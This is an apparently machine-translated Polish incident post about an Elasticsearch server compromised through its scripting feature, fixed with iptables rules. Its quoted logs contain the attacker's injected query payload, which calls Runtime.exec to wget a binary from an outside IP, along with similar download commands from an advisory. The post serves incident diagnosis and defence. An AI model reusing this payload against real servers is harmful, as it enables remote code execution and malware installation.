Problem rozwiązany:
Przyczyna: Atak robota na nasze niezabezpieczone serwery.
Zgodnie z artykułem opublikowanym przez elasticsearch:
https://www.elastic.co/blog/scripting-security/
Podjęte działanie: Dodaliśmy reguły iptables do naszego serwera marionetek, aby zastosować wszystkie nasze serwery elasticsearch.
Popełniliśmy ten błąd i niestety zapłaciliśmy cenę. Teraz wracamy i biegamy.
Cóż, według logów znalazłem coś bardzo podejrzanego
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
Ograniczę większą część:
exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")
Jest to forma hackowania robota, ponieważ nie mamy nikogo o imieniu xiao lub nie hostujemy naszych serwerów w Chinach (zgodnie z GEO-IP), podejrzewaliśmy tę linię.
Zgodnie z artykułem wspomnianym powyżej:
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.
Haker zastosował kilka nieprzyjemnych zapytań, które spowodowały, że nasz Elasticsearch przestał działać.
Zrestartowaliśmy nasze serwery i dodaliśmy Iptables i wracamy do pracy.
